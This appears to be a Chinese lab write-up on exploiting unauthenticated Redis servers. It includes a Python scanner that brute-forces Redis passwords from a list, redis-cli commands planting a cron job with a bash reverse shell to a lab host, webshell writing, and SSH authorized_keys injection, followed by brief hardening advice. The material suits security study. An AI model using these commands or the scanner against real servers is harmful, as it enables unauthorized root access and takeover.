redis数据库基本知识
redis非关系型数据库
redis未授权访问蓝队的成因和危害
漏洞的定义:redis未授权访问漏洞是一个由于redis服务器版本较低,其未设置登录密码导致的登录。
攻击者可以直接利用redis服务器的ip地址和端口完成redis服务器的远程登陆,对目标服务器进行恶意操作
黑客可以直接利用redis的ip和端口对目标服务器的登录,
漏洞成因:
redis版本过低,低于5.05
redis直接暴露在公网上,没有设置不能公网访问,而且端口是默认端口
没有设置密码认证,可以直接免密远程登陆
redis未授权访问漏洞的成因危害
攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制
攻击者可以通过redis命令向网站目录写入webshell,完成对网站服务器的控制
最严重的是redis‘是root权限,黑客可以给root账户写入ssh公钥文件,直接通过ssh登录受害访问
漏洞复现
靶场搭建就看这个文章吧
漏洞复现之Redis未授权访问_redis未授权访问漏洞修复建议-CSDN博客
直接空秘密未授权访问,如果不是空秘密也可以弱口令爆破
#!/usr/bin/python2
# -*- coding: utf-8 -*-
import socket
import sys
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"[+] IP:{0}存在未授权访问".format(ip)
elif "Authentication" in result:
with open('pass.txt','r') as p:
passwds = p.readlines()
for passwd in passwds:
passwd = passwd.strip("\n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(passwd))
# print u"[HACKING] hacking to passwd --> "+passwd
result = s.recv(1024)
if 'OK' in result:
return u"[+] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)
else:pass
else:pass
s.close()
except Exception, e:
return u"[+] IP:{0}已过滤".format(ip)
pass
if __name__ == '__main__':
port="6379"
with open('IP.txt','r') as f:
ips = f.readlines()
for i in ips:
ip = i.strip("\n")
result = check(ip,port,timeout=10)
print(result)
把密码卸载pass里面,ip写在ip里面
漏洞利用
写计划任务反弹shell
192.168.201.128:6379> config set dir /var/spool/cron/crontabs
OK
192.168.201.128:6379> config set dbfilename yue
OK
192.168.201.128:6379> set xxoo "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.201.129/5555 0>&1\n\n"
OK
192.168.201.128:6379> save
OK
因为在ubvutun里面,不是centos所以,写入的目录也不一样
Centos的定时任务文件在/var/spool/cron/root
Ubuntu定时任务文件在/var/spool/cron/crontabs/root
共有定时任务文件在/etc/crontab
但是在ubuntu中由于root权限的redis创建的文件权限是644,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,如果写入/etc/crontab,因为存在乱码,所以ubuntu无法正确执行。
但计划任务已经写入了
写一句webshell到网站服务器目录
差不多的,shell.php是文件马子,html是目录。然后就是内容。保存一下,访问这个shell.php链接后门就行了
前提,知道网站的物理路径
写ssh公钥实现远程登陆
首先在目标机中运行的Redis服务必须是root权限,否则无法对ssh存储公钥的路径进行访问
前提目标开启了ssh服务
└─# ssh-keygen -t rsa
kali生成密钥对
查看一下.ssh目录
其中id_rsa是生成的秘钥,id_rsa.pub是生成的公钥,我们需要将id_rsa.pub写入目标主机中
进入/root/.ssh并将公钥写入key.txt文件
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
将key.txt文件传入redis靶机
cat key.txt| redis-cli -h 靶机ip -x set pub
直接复制可能会出错,可以险些redis-cli-ip
将redis文件路径设为/root/.ssh,文件名为authorized_keys,并save保存
1)./redis-cli -h 靶机ip
3)config set dir /root/.ssh
4)config set dbfilename authorized_keys
6)save
成功写入ssh公钥
root权限,这个在有一定权限之后拿来提权挺好的
redis安全加固
升级版本到5.0.5以上
默认端口修改一下,并且不暴露在公网之上
设置密码认证,防止免密远程登陆
利用防火墙,ids ,ips对访问redis服务器的流量进行检测拦截
ping
an